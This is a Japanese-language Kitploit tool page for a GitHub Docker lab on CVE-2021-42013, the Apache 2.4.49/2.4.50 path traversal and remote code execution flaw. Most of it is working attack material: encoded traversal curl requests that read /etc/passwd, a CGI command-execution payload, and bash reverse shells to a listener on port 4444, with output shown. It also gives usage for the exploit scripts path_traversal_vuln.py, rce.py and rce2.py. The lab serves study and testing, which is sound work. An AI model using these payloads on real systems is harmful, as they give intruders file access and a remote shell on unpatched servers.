Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2021-42013-docker-lab — CVE-2021-42013 で遊ぶ/学ぶための Docker コンテナラボ | Kitploit
ツール/GitHubGitHub/twseptian/cve-2021-42013-docker-lab
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubtwseptian/cve-2021-42013-docker-lab

cve-2021-42013-docker-lab

CVE-2021-42013 で遊ぶ/学ぶための Docker コンテナラボ

リポジトリを見る
264年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-42013

はじめに

Apache HTTP Server 2.4.50 における CVE-2021-41773 の修正は不十分であることが判明しました。攻撃者はパストラバーサル攻撃を使用して、Alias 系ディレクティブで設定されたディレクトリの外にあるファイルに URL を割り当てる可能性があります。これらのディレクトリ外のファイルが通常のデフォルト設定 "require all denied" によって保護されていない場合、これらのリクエストは成功する可能性があります。また、これらのエイリアスパスで CGI スクリプトが有効になっている場合、リモートコード実行が可能になる可能性があります。この問題は Apache 2.4.49 および Apache 2.4.50 にのみ影響し、それ以前のバージョンには影響しません [1]。

CVE-2021-42013 で遊びながら学ぶための Docker コンテナラボ

  1. ファイル開示の脆弱性の構成:
root@kitploit:~
$ docker build -t apache-default default_conf
$ docker run -dit --name apache-app -p 81:80 apache-default
  • 概念実証 (PoC):
root@kitploit:~
$ curl -s --path-as-is "http://172.17.0.2:80/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
  • path_traversal_vuln.py を使用
root@kitploit:~
$ python3 path_traversal_vuln.py -h                                                                         

    >> CVE-2021-42013 - Path Traversal
    >> by twseptian

usage: path_traversal_vuln.py [-h] -t URL -p TARGET_PORT -x PAYLOAD -f FILE_READ

CVE-2021-42013 - Path Traversal

optional arguments:
  -h, --help            show this help message and exit
  -t URL, --target URL  Target IP
  -p TARGET_PORT, --port TARGET_PORT
                        Target port
  -x PAYLOAD, --execute PAYLOAD
                        Path Traversal Payload
  -f FILE_READ, --file FILE_READ
                        File to read
root@kitploit:~
$ python3 path_traversal_vuln.py -t 172.17.0.2 -p 80 -x '.%%32%65/.%%32%65/.%%32%65/.%%32%65' -f /etc/passwd                                                                                  

パストラバーサル

  1. リモートコード実行 (CGI 有効) の構成:
root@kitploit:~
$ docker build -t apache-cgi cgi_mod_enable
$ docker run -dit --name apache-lab -p 82:80 apache-cgi
  • 概念実証 (PoC):
root@kitploit:~
$ curl -s --path-as-is -d "echo Content-Type: text/plain; echo; id" "http://172.17.0.3:80/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"
uid=1(daemon) gid=1(daemon) groups=1(daemon)
  • bash リバースシェルを使用した PoC
root@kitploit:~
$ curl -s --path-as-is -d "echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/172.17.0.1/4444 0>&1" "http://172.17.0.3:80/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/bash"
  • netcat の出力
root@kitploit:~
$ nc -lvnp 4444                                                            
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.3.
Ncat: Connection from 172.17.0.3:35660.
daemon@dcbbed945af7:/bin$ id
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@dcbbed945af7:/bin$ 

-rce.py を使用

root@kitploit:~
$ python3 rce.py -h

    >> CVE-2021-42013 - Remote Code Execution
    >> by twseptian

usage: rce.py [-h] -t URL -p TARGET_PORT -x PAYLOAD -s SHELL

CVE-2021-42013 - Path Traversal

optional arguments:
  -h, --help            show this help message and exit
  -t URL, --target URL  Target IP
  -p TARGET_PORT, --port TARGET_PORT
                        Target port
  -x PAYLOAD, --execute PAYLOAD
                        Path Traversal Payload
  -s SHELL, --shell SHELL
                        shell
root@kitploit:~
$ python3 rce.py -t 172.17.0.3 -p 80 -x '%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65' -s "/bin/bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'"
  • netcat リスナー
root@kitploit:~
$ nc -lvnp 4444                                                    
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.3] 41052
daemon@82f07f4b32a8:/bin$ 

rce.py の使用

  • rce2.py を使用
root@kitploit:~
$ python3 rce2.py -h

    >> CVE-2021-42013 - Remote Code Execution
    >> by twseptian

usage: rce2.py [-h] -t URL -p TARGET_PORT -L LOCALHOST -P LOCALPORT -x PAYLOAD

CVE-2021-42013 - Path Traversal

optional arguments:
  -h, --help            show this help message and exit
  -t URL, --target URL  Target IP
  -p TARGET_PORT, --port TARGET_PORT
                        Target port
  -L LOCALHOST, --lh LOCALHOST
                        Localhost/Local IP
  -P LOCALPORT, --lp LOCALPORT
                        Localport
  -x PAYLOAD, --execute PAYLOAD
                        Path Traversal Payload
root@kitploit:~
$ python3 rce2.py -t 172.17.0.3 -p 80 -L 172.17.0.1 -P 4444 -x '.%%32%65/.%%32%65/.%%32%65/.%%32%65'

    >> CVE-2021-42013 - Remote Code Execution
    >> by twseptian

[!] Payload: .%%32%65/.%%32%65/.%%32%65/.%%32%65
[*] Setting up a netcat listener
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.3] 41122
bash: initialize_job_control: no job control in background: Bad file descriptor
daemon@82f07f4b32a8:/bin$ id
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@82f07f4b32a8:/bin$

rce.py の使用

参考文献

  • [1] CVE-2021-42013
  • [2] Apache HTTP Server 2.4.50 - パストラバーサル & リモートコード実行 (RCE)
ツールをダウンロード